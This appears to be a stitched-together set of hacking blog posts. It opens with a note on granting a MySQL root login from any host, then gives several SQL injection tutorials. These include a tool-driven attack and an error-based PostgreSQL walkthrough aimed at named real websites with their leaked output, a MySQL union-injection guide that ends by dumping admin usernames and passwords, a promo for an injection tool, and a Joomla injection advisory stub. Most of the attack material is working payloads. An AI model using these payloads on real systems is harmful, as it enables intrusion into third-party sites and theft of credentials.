MySql: Give Root User Logon Permission From Any Host

Note that this is Not very secure, and should only be used for a local development box where you don’t feel like setting up individual permissions, but still need to connect from other machines.
To configure this feature, you’ll need to update the mysql user table to allow access from any remote host, using the % wildcard.
Open the command-line mysql client on the server using the root account.

mysql -uroot

Then you will want to run the following two commands, to see what the root user host is set to already:

use mysql;
select host, user from user;

Here’s an example of the output on my database, which is pretty much the default settings. Note that ubuntuserv is the hostname of my server.

mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> select host,user from user;
+—————+——————+
| host | user |
+—————+——————+
| ubuntuserv | root |
| localhost | debian-sys-maint |
| localhost | root |
+—————+——————+
3 rows in set (0.00 sec)

Now I’ll update the ubuntuserv host to use the wildcard, and then issue the command to reload the privilege tables. If you are running this command, substitute the hostname of your box for ubuntuserv.

update user set host=’%’ where user=’root’ and host=’ubuntuserv’;
flush privileges;

That’s all there is to it. Now I was able to connect to that server from any other machine on my network, using the root account.
Again, note this isn’t very secure, and you should at least make sure that you’ve set a root password.

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Website Defacing....Xplained.!

What is SQL injection ?

SQL stands for Structured Query Language.SQL is used to design the databses. The information is stored in databses. SQL injection is the vulnerability occuring in database layer of application which allow attacker to see the contents stored in database. This vulnerabilty occures when the user's input is not filtered or improperly filtered.

The main goal of attacker is use to access the information stored in website's database. It can be done manually, read more here. In this tutorial, I am using to do the same thing easily using a tool.


Read the disclaimer first before proceeding. I remind you again that its only for educational purposes.


Requirement: Download the tool from here.  Its SqliHelperV.2.1.


Steps of attack :-

Vulnerable Website > Database > Tables > Columns > Data

 Search for any vulnerable website using Google Dorks. I found this website
http://www.shelter.org/org/news.php?id=5. 
I came to know its vulnerable because when I attached a single quote at the end, it didn't filter it and returned me with an error.


http://www.shelter.org/org/news.php?id=5'


Step 1.  Run the tool and there is no need of any installation. Input the vulnerable URL and click on 'Inject'

 

Step 2 : After processing is done. Click on "Get Database".It would then show the databases

Step 3:  Select any database other than "Information_schema" and Click on "Get tables". It would start fetching all tables. Have some patience. In most of the cases there is a table like admin or login or users etc.

 

Step 4: Select any Table and click on "Get Columns".

Step 5 : Select the column and click on "Dump Now" . A new pop up window would open showing you the data stored in it.

Try the same thing manually to practice your skills

So You came to know that how deadly it could be to allow users to send their input without any filtration/validation. So never be lazy at programming and use possible filtration mechanisms. 

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Postgre Error based SQLi Tutorial

Postgre:

Traditional relational database management systems (DBMSs) support a data model consisting of a collection of named relations, containing attributes of a specific type. In current commercial systems, possible types include floating point numbers, integers, character strings,
money, and dates.

 
Lets start to play with Postgre:

1st Step find the vulnerability:

Code:

http://www.creatop.com.cn/index.cfm?MenuID=80'

ERROR: syntax error at or near "''"
its mean this website can be injected.remember errors can varies you wont get the same error every time.

2nd Step Columns count:

Code:

http://www.creatop.com.cn/index.cfm?MenuID=80 order by 1--

get valid page

Code:

http://www.creatop.com.cn/index.cfm?MenuID=80 order by 2--

Error Executing Database Query.
ERROR: ORDER BY position 2 is not in select list
That Error shows that there is one column.

Lets try UNION SELECT query:

Code:

http://www.creatop.com.cn/index.cfm?MenuID=80 and 1=2 UNION SELECT 1--

Error Executing Database Query.
ERROR: UNION types character varying and integer cannot be matched

Seems like UNION SELECT query is not working !!!


Lets try Errorbased Postgre SQLi…

3rd Step:

Code:

http://www.creatop.com.cn/index.cfm?MenuID=80 and 1=cast(version() as int)--

ERROR: invalid input syntax for integer: "PostgreSQL 8.4.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.4.real (Ubuntu 4.4.3-4ubuntu5) 4.4.3, 32-bit"

As we can see we got version of postgre DB server in the form of error.

Lets move on and find database name.

Code:

http://www.creatop.com.cn/index.cfm?MenuID=80 and 1=cast((select datname from pg_database limit 1 offset 0) as int)--

Error Executing Database Query.

ERROR: invalid input syntax for integer: "scoutsqld"
Scoutsqld is 1st database name you can variey offset to get other databases names.

scoutsqld is first database we can get others by changing offset :)

Code:

http://www.creatop.com.cn/index.cfm?MenuID=80 and 1=cast((select datname from pg_database limit 1 offset 1) as int)--

Error Executing Database Query.
ERROR: invalid input syntax for integer: "template0"
template0 is 2nd database so you can increase offset till you got error.

Lets find out the user:

Code:

http://www.creatop.com.cn/index.cfm?MenuID=80 and 1=cast((select user from pg_database limit 1 offset 0) as int)--

Error Executing Database Query.

ERROR: invalid input syntax for integer: "postgres"

postgres is the user :)

Lets find the tables :>
4th step:

Code:

http://www.creatop.com.cn/index.cfm?MenuID=80 and 1=cast((select table_name from information_schema.tables  limit 1 offset 0) as int)--

Error Executing Database Query.

ERROR: invalid input syntax for integer: "pg_type"

pg_type is first table we can get others by changing offset :)

5th step:

Now we have to find the columns from our specific table !!!

e.g

our table is action

for that we have to use oracle char conversion.

Pg_type= CHR(112) || CHR(103) || CHR(95) || CHR(116) || CHR(121) || CHR(112) || CHR(101)

so our query is :

Code:

http://www.creatop.com.cn/index.cfm?MenuID=80 and 1=cast((select column_name from information_schema.columns where table_name= CHR(112) || CHR(103) || CHR(95) || CHR(116) || CHR(121) || CHR(112) || CHR(101)  limit 1 offset 0) as int)--

Error Executing Database Query.
ERROR: invalid input syntax for integer: " typname "
And further you can find the columns using offset..

Last step:
Now we have to extract data from our column .

Code:

http://www.creatop.com.cn/index.cfm?MenuID=80 and 1=cast((select typname from pg_type limit 1 offset 0) as int)--

Error Executing Database Query.
ERROR: invalid input syntax for integer: "bool"

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SQL Injection Hack Tool for Hacking Websites and Databases

Safe3SI is one of the most powerful and easy usage penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a kick-ass detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

Features:

• Full support for http, https website.
• Full support for Basic, Digest, NTLM http authentications.
• Full support for GET, Post, Cookie sql injection.
• Full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase and SAP MaxDB database management systems.
• Full support for four SQL injection techniques: blind, error-based, UNION query and force guess.
• Powerful AI engine to automatic recognize injection type, database type, sql injection best way.
• Support to enumerate databases, tables, columns and data.
• Support to read,list and write any file from the database server underlying file system when the database software is MySQL or Microsoft SQL Server.
• Support to execute arbitrary commands and retrieve their standard output on the database server underlying operating system when the database software is Oracle or Microsoft SQL Server.
• Support to ip domain query,web path guess,md5 crack etc.
• Support for sql injection scan.

Download

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How To Hack Websites using SQL Injection

SQL Injection attacks are code injections that exploit the database layer of the application. This is most commonly the MySQL database, but there are techniques to carry out this attack in other databases such as Oracle. In this tutorial i will be showing you the steps to carry out the attack on a MySQL Database.

Step 1:
When testing a website for SQL Injection vulnerabilities, you need to find a page that looks like this:
www.site.com/page=1
or
www.site.com/id=5
Basically the site needs to have an = then a number or a string, but most commonly a number. Once you have found a page like this, we test for vulnerability by simply entering a ' after the number in the url. For example:

www.site.com/page=1'

If the database is vulnerable, the page will spit out a MySQL error such as;

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/wwwprof/public_html/readnews.php on line 29

If the page loads as normal then the database is not vulnerable, and the website is not vulnerable to SQL Injection.

Step 2

Now we need to find the number of union columns in the database. We do this using the "order by" command. We do this by entering "order by 1--", "order by 2--" and so on until we receive a page error. For example:
www.site.com/page=1 order by 1--
http://www.site.com/page=1 order by 2--
http://www.site.com/page=1 order by 3--
http://www.site.com/page=1 order by 4--
http://www.site.com/page=1 order by 5-- If we receive another MySQL error here, then that means we have 4 columns. If the site errored on "order by 9" then we would have 8 columns. If this does not work, instead of -- after the number, change it with /*, as they are two difference prefixes and if one works the other tends not too. It just depends on the way the database is configured as to which prefix is used.

Step 3

We now are going to use the "union" command to find the vulnerable columns. So we enter after the url, union all select (number of columns)--,
for example:
www.site.com/page=1 union all select 1,2,3,4--
This is what we would enter if we have 4 columns. If you have 7 columns you would put, union all select 1,2,3,4,5,6,7-- . If this is done successfully the page should show a couple of numbers somewhere on the page. For example, 2 and 3. This means columns 2 and 3 are vulnerable.

Step 4

We now need to find the database version, name and user. We do this by replacing the vulnerable column numbers with the following commands:
user()
database()
version()
or if these dont work try...
@@user
@@version
@@database

For example the url would look like:
www.site.com/page=1 union all select 1,user(),version(),4--

The resulting page would then show the database user and then the MySQL version. For example admin@localhost and MySQL 5.0.83.
IMPORTANT: If the version is 5 and above read on to carry out the attack, if it is 4 and below, you have to brute force or guess the table and column names, programs can be used to do this.

Step 5

In this step our aim is to list all the table names in the database. To do this we enter the following command after the url.
UNION SELECT 1,table_name,3,4 FROM information_schema.tables--
So the url would look like:
www.site.com/page=1 UNION SELECT 1,table_name,3,4 FROM information_schema.tables--
Remember the "table_name" goes in the vulnerable column number you found earlier. If this command is entered correctly, the page should show all the tables in the database, so look for tables that may contain useful information such as passwords, so look for admin tables or member or user tables.

Step 6

In this Step we want to list all the column names in the database, to do this we use the following command:
union all select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database()--
So the url would look like this:
www.site.com/page=1 union all select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema=database()--

This command makes the page spit out ALL the column names in the database. So again, look for interesting names such as user,email and password.

Step 7

Finally we need to dump the data, so say we want to get the "username" and "password" fields, from table "admin" we would use the following command,
union all select 1,2,group_concat(username,0x3a,password),4 from admin--
So the url would look like this:
www.site.com/page=1 union all select 1,2,group_concat(username,0x3a,password),4 from admin--

Here the "concat" command matches up the username with the password so you dont have to guess, if this command is successful then you should be presented with a page full of usernames and passwords from the website.

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Hack Joomla Component (com_rsform).. Vulnerable to SQL Injection

Joomla Component com_rsform Sql Injection Vulnerability

::[0x00] Informations ::

Author : -[D4RK_CRYST4L]-
Critical Lvl : low
Where : From Remote
Category: webapps
Dork : n/a
Vendor: http://www.rsjoomla.com/

------------------------------------------------------------------------

::[0x01] SQL Injections ::

http://example/index.php?option=com_rsform&Itemid=[SQLi]

------------------------------------------------------------------------
::[0x02] Demo Example::

http://www.site.com/index.php?option=com_rsform&Itemid=[SQLi]

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